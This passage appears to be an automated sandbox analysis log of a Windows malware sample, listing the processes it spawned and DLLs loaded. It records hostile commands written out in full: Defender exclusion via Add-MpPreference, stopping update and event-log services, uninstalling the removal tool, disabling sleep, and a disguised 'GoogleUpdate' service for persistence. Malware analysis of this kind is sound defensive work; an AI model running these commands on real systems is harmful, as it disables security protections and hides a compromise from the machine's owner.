              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: unknownProcess created: C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\ProgramData\GoogleUP\Chrome\Updater.exe
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe explorer.exe
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: napinsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wshbth.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: nlaapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: winrnr.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
